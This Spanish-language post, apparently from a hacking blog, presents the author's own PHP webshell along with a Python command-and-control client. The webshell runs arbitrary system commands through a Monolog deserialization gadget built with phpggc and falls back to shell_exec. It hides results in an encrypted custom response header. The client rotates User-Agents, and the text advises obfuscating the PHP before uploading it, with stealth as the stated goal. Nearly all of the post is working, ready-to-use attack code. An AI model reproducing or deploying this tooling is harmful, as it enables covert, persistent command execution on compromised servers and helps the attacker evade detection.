Webshell
WebShell V3.0
Os presento una pequeña herramienta que os podría ser útil.
Se trata de una webshell en php creada por mi.
<?php
namespace Monolog {
class Logger {
const DEBUG = 100;
const INFO = 200;
const NOTICE = 250;
const WARNING = 300;
const ERROR = 400;
const CRITICAL = 500;
const ALERT = 550;
const EMERGENCY = 600;
}
interface ResettableInterface {}
}
namespace Monolog\Handler {
use Monolog\Logger;
interface HandlerInterface {}
interface ProcessableHandlerInterface extends HandlerInterface {}
interface FormattableHandlerInterface extends HandlerInterface {}
abstract class AbstractHandler implements HandlerInterface {
protected $level = Logger::DEBUG;
protected $bubble = true;
protected $formatter;
protected $processors = array();
public function __construct($level = Logger::DEBUG, $bubble = true) {
$this->level = $level;
$this->bubble = $bubble;
}
public function handleBatch(array $records) {}
public function setFormatter(\Monolog\Formatter\FormatterInterface $formatter) {}
}
abstract class AbstractSyslogHandler extends AbstractHandler {
protected $facility;
protected $logLevels = array(100 => 7, 200 => 6, 250 => 5, 300 => 4, 400 => 3, 500 => 2, 550 => 1, 600 => 0);
protected $facilities = array('user' => 8, 'mail' => 16, 'daemon' => 24, 'auth' => 32, 'syslog' => 40, 'lpr' => 48, 'news' => 56, 'uucp' => 64, 'cron' => 72, 'authpriv' => 80);
public function __construct($facility = 8, $level = Logger::DEBUG, $bubble = true) {
parent::__construct($level, $bubble);
$this->facility = $facility;
}
abstract protected function write(array $record);
}
}
namespace Monolog\Formatter {
interface FormatterInterface {}
}
namespace Monolog\Handler\SyslogUdp {
class UdpSocket {
public function __construct($host, $port) {}
public function write($line, $header) {}
public function close() {}
}
}
namespace Monolog\Handler {
class SyslogUdpHandler extends AbstractSyslogHandler implements FormattableHandlerInterface {
const RFC3164 = 0;
const RFC5424 = 1;
private $dateFormats = array(self::RFC3164 => 'M d H:i:s', self::RFC5424 => \DateTime::RFC3339);
protected $socket;
protected $ident = 'php';
protected $rfc = self::RFC5424;
public function __construct($host = '127.0.0.1', $port = 514, $facility = 8, $level = 100, $bubble = true, $ident = 'php', $rfc = self::RFC5424) {
parent::__construct($facility, $level, $bubble);
}
protected function write(array $record) {}
public function close() {
if ($this->socket) {
$this->socket->close();
}
}
protected function getDateTime() {
return date($this->dateFormats[$this->rfc]);
}
}
class BufferHandler extends AbstractHandler implements ProcessableHandlerInterface, FormattableHandlerInterface {
protected $handler;
protected $bufferSize = 0;
protected $bufferLimit = 0;
protected $flushOnOverflow = false;
protected $buffer = array();
protected $initialized = false;
protected $processors = array();
public function __construct(\Monolog\Handler\HandlerInterface $handler, $bufferLimit = 0, $level = 100, $bubble = true, $flushOnOverflow = false) {
parent::__construct($level, $bubble);
$this->handler = $handler;
}
public function handleBatch(array $records) {
$output = '';
if ($this->processors && count($this->buffer) > 0) {
$command = $this->buffer[0][0];
$func = $this->processors[1];
if (is_callable($func)) {
ob_start();
$result = call_user_func($func, $command);
$output = ob_get_clean();
if (empty($output) && is_string($result) && !empty($result)) {
$output = $result;
}
}
}
return $output;
}
public function flush() {
if ($this->bufferSize === 0) {
return '';
}
$result = $this->handleBatch($this->buffer);
$this->clear();
// IMPRIMIR DIRECTAMENTE el resultado
if (!empty($result)) {
echo $result;
}
return $result;
}
public function close() {
return $this->flush();
}
public function clear() {
$this->bufferSize = 0;
$this->buffer = array();
}
public function __destruct() {
$this->close();
}
}
}
namespace {
error_reporting(0);
$secret = 'W3lc0m3';
$key = hash('sha256', $secret, true);
$input = json_decode(file_get_contents('php://input'), true);
if (!$input) {
exit;
}
$s = $input['s'];
$payload_encoded = $input['_'];
$decoded_secret = decrypt_data($s, $key);
if ($decoded_secret === $secret) {
$serialized_payload_b64 = decrypt_data($payload_encoded, $key);
if ($serialized_payload_b64) {
try {
$serialized_payload = base64_decode($serialized_payload_b64);
// ESTRATEGIA: Forzar la ejecución inmediata capturando el output
ob_start(); // Iniciar buffer
// Deserializar - esto crea el objeto pero no ejecuta __destruct todavía
$unserialized_object = unserialize($serialized_payload);
// Forzar la ejecución llamando manualmente a close() si existe
if (is_object($unserialized_object) && method_exists($unserialized_object, 'close')) {
$unserialized_object->close();
} else {
// Si no tiene close(), forzar el destructor
unset($unserialized_object);
}
// Capturar el output generado
$final_output = ob_get_clean();
$final_output = trim($final_output);
// Si está vacío, intentar con shell_exec como fallback
if (empty($final_output)) {
// Extraer el comando del payload para ejecutarlo directamente
$command = extract_command_from_payload($serialized_payload);
if ($command && function_exists('shell_exec')) {
$final_output = shell_exec($command);
$final_output = trim($final_output);
}
}
if (empty($final_output)) {
$final_output = "Comando ejecutado (sin salida visible)";
}
// Enviar cifrado en cabecera X
$output_encrypted = encrypt_data($final_output, $key);
header('x: ' . $output_encrypted);
http_response_code(200);
// Limpiar cualquier output que haya quedado
if (ob_get_level() > 0) {
ob_clean();
}
} catch (\Throwable $e) {
// Limpiar buffer si hay error
if (ob_get_level() > 0) {
ob_clean();
}
$error_msg = "ERROR: " . $e->getMessage();
$error_encrypted = encrypt_data($error_msg, $key);
header('x: ' . $error_encrypted);
http_response_code(500);
}
} else {
$error_msg = "Error: Payload inválido";
$error_encrypted = encrypt_data($error_msg, $key);
header('x: ' . $error_encrypted);
http_response_code(500);
}
} else {
$error_msg = "Error: Secret incorrecto";
$error_encrypted = encrypt_data($error_msg, $key);
header('x: ' . $error_encrypted);
http_response_code(500);
}
// Función para extraer el comando del payload serializado
function extract_command_from_payload($serialized_payload) {
// Buscar el comando en el payload serializado
if (preg_match('/s:\d+:"([^"]+)"/', $serialized_payload, $matches)) {
$potential_command = $matches[1];
// Verificar que parece un comando (no metadata de serialización)
if (strlen($potential_command) > 2 && !preg_match('/^[a-zA-Z_\\\\]+$/', $potential_command)) {
return $potential_command;
}
}
return null;
}
function decrypt_data($data, $key) {
$data = base64_decode($data);
$iv = substr($data, 0, 16);
$ciphertext = substr($data, 16);
$decrypted_data = openssl_decrypt($ciphertext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
if ($decrypted_data === false) {
return null;
}
return $decrypted_data;
}
function encrypt_data($data, $key) {
$iv = openssl_random_pseudo_bytes(16);
$encryptedData = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$result = base64_encode($iv . $encryptedData);
return $result;
}
}
Esta webshell funciona de la siguiente manera:
En el código se ha fijado en una variable el valor de un “secreto”, en este caso W3lc0m3.
El funcionamiento del script solo funcionara si se envía a través de un parámetro llamado “s” el secreto cifrado y encodeado en base64, adicionalmente, es necesario tener phpgcc https://github.com/ambionics/phpggc en el mismo directorio, ya que para la ejecucion de comandos abusamos de la vulnerabilidad de deserializacion de Monolog/RC1, el script de python se encarga de enviar el comando a ejecutar cifrado y encodeado en base64, de la siguiente forma:

Esta petición ejecutara el comando whoami, el servidor añadirá una nueva cabecera en la respuesta del servidor llamada “x” con el contenido del comando ejecutado cifrado y encodeado en base64.
De esta forma somos mas sigilosos y no hacemos tanto ruido en el servidor.
Lo recomendable a realizar antes de subir el archivo es ofuscarlo en paginas como:
https://www.gaijin.at/en/tools/php-obfuscator
https://php-minify.com/php-obfuscator/
Una vez subido la webshell con éxito al servidor. Podemos utilizar el siguiente script de Python para ejecutar comandos cómodamente.
import base64, signal, argparse, os, random, subprocess
import requests
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
import readline
import hashlib
HISTORY_FILE = '.command_history'
if os.path.exists(HISTORY_FILE):
readline.read_history_file(HISTORY_FILE)
import atexit
atexit.register(readline.write_history_file, HISTORY_FILE)
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Edge/91.0.864.59",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
]
class Color:
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
RESET = '\033[0m'
def def_hundler(sig, frame):
print(Color.YELLOW + "[!] Saliendo..." + Color.RESET)
exit(1)
signal.signal(signal.SIGINT, def_hundler)
def derive_key_from_secret(secret_key):
return hashlib.sha256(secret_key.encode('utf-8')).digest()
def encrypt_data(data, key):
key = derive_key_from_secret(key)
iv = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
encrypted_data = base64.b64encode(iv + ciphertext).decode('utf-8')
return encrypted_data
def decrypt_data(encrypted_data, key):
try:
key = derive_key_from_secret(key)
encrypted_data = base64.b64decode(encrypted_data)
iv = encrypted_data[:16]
ciphertext = encrypted_data[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher.decrypt(ciphertext), AES.block_size).decode('utf-8')
return decrypted_data
except Exception as e:
print(Color.RED + f"[DEBUG] Error al descifrar: {e}" + Color.RESET)
return None
def generate_phpggc_payload(command):
"""Genera el payload usando phpggc"""
try:
# Ejecutar phpggc para generar el payload serializado en base64
result = subprocess.run(
['./phpggc', 'monolog/rce1', 'system', command, '-b'],
capture_output=True,
text=True,
check=True
)
payload_b64 = result.stdout.strip()
# Verificar que el payload se generó correctamente
if not payload_b64:
print(Color.RED + "Error: phpggc no generó ningún payload" + Color.RESET)
return None
# Verificar que es base64 válido
try:
base64.b64decode(payload_b64)
return payload_b64
except:
print(Color.RED + "Error: phpggc generó un payload base64 inválido" + Color.RESET)
return None
except subprocess.CalledProcessError as e:
print(Color.RED + f"Error al generar payload: {e}" + Color.RESET)
print(Color.RED + f"Stderr: {e.stderr}" + Color.RESET)
return None
except FileNotFoundError:
print(Color.RED + "Error: phpggc no encontrado. Asegúrate de que está en el directorio actual." + Color.RESET)
return None
def main(url, secret, cmd, proxy):
# Generar payload con phpggc
print(Color.YELLOW + "[+] Generando payload con phpggc..." + Color.RESET)
payload_b64 = generate_phpggc_payload(cmd)
if not payload_b64:
return
print(Color.YELLOW + f"[+] Payload generado ({len(payload_b64)} bytes)" + Color.RESET)
# Cifrar el secreto y el payload
encrypted_secret = encrypt_data(secret, secret)
encrypted_payload = encrypt_data(payload_b64, secret)
payload = {
"s": encrypted_secret,
"_": encrypted_payload
}
headers = {
"Content-Type": "application/json",
"User-Agent": random.choice(USER_AGENTS)
}
try:
print(Color.YELLOW + "[+] Enviando payload al servidor..." + Color.RESET)
r = requests.post(url, json=payload, headers=headers, proxies=proxy, verify=False, timeout=30)
# DEBUG: Mostrar información completa
print(Color.BLUE + f"[DEBUG] Status Code: {r.status_code}" + Color.RESET)
print(Color.BLUE + f"[DEBUG] Todas las cabeceras recibidas:" + Color.RESET)
for header, value in r.headers.items():
print(Color.BLUE + f" {header}: {value}" + Color.RESET)
print(Color.BLUE + f"[DEBUG] Body length: {len(r.text)} bytes" + Color.RESET)
if r.text:
print(Color.BLUE + f"[DEBUG] Body content: {r.text}" + Color.RESET)
# Procesar cabecera X
if 'x' in r.headers:
encrypted_response = r.headers['x']
print(Color.YELLOW + f"[DEBUG] Cabecera X encontrada: {encrypted_response}" + Color.RESET)
print(Color.YELLOW + f"[DEBUG] Longitud cabecera X: {len(encrypted_response)} caracteres" + Color.RESET)
# Intentar descifrar
print(Color.YELLOW + "[DEBUG] Intentando descifrar cabecera X..." + Color.RESET)
decrypted_response = decrypt_data(encrypted_response, secret)
if decrypted_response:
print(Color.GREEN + "[+] ¡Cabecera X descifrada correctamente!" + Color.RESET)
print(Color.GREEN + "[+] Output del comando (desde cabecera X):" + Color.RESET)
print(decrypted_response)
# Verificar si el body también tiene contenido
if r.text and r.text.strip():
print(Color.YELLOW + f"[!] El body también contiene: {r.text}" + Color.RESET)
else:
print(Color.RED + "[!] No se pudo descifrar la cabecera X" + Color.RESET)
print(Color.YELLOW + "[!] Mostrando contenido del body:" + Color.RESET)
if r.text:
print(r.text)
else:
print("(Body vacío)")
else:
print(Color.RED + "[!] No se encontró la cabecera X en la respuesta" + Color.RESET)
print(Color.YELLOW + "[!] Mostrando contenido del body:" + Color.RESET)
if r.text:
print(r.text)
else:
print("(Body vacío)")
except requests.exceptions.Timeout:
print(Color.RED + "Error: Timeout al conectar con el servidor" + Color.RESET)
except requests.exceptions.RequestException as e:
print(Color.RED + f"Error de conexión: {e}" + Color.RESET)
def usage():
fNombre = os.path.basename(__file__)
ussage = fNombre + ' [-h] -url <URL> [-secret SECRET] \n\n'
ussage += '[+] Ejemplos:\n'
ussage += '\t' + fNombre + ' -url https://wordpress.com/ -secret secret\n'
return ussage
def arguments():
parser = argparse.ArgumentParser(usage=usage(), description="Python3 C2 con Monolog RCE")
parser.add_argument('-url', dest='url', type=str, required=True, help='URL del servidor')
parser.add_argument('-secret', dest='secret', type=str, default='W3lc0m3', help='Secreto (default: W3lc0m3)')
parser.add_argument('-proxy', dest='proxy', type=str, default=None, help='Proxy (ej: http://127.0.0.1:8080)')
return parser.parse_args()
if __name__ == '__main__':
args = arguments()
proxy = None
if args.proxy:
proxy = {
"http": args.proxy,
"https": args.proxy,
}
print(Color.YELLOW + "[+] Cliente C2 con Monolog RCE iniciado" + Color.RESET)
print(Color.YELLOW + f"[+] Target: {args.url}" + Color.RESET)
print(Color.YELLOW + f"[+] Secret: {args.secret}" + Color.RESET)
if proxy:
print(Color.YELLOW + f"[+] Proxy: {args.proxy}" + Color.RESET)
print(Color.YELLOW + "[+] Escribe 'exit' para salir\n" + Color.RESET)
# Verificar que phpggc existe
if not os.path.exists('./phpggc'):
print(Color.RED + "[!] Error: phpggc no encontrado en el directorio actual" + Color.RESET)
print(Color.RED + "[!] Descárgalo de: https://github.com/ambionics/phpggc" + Color.RESET)
exit(1)
while True:
try:
cmd = input(Color.RED + "> " + Color.RESET)
if cmd.lower() == 'exit':
print(Color.YELLOW + "[!] Saliendo..." + Color.RESET)
break
if cmd.strip():
main(args.url, args.secret, cmd, proxy)
print() # Línea en blanco entre comandos
except EOFError:
print("\nSaliendo...")
break
El uso del script es el siguiente:
python.exe ./webshell.py -url "http://localhost/ofuscated.php" -secret W3lc0m3!

HackTheBox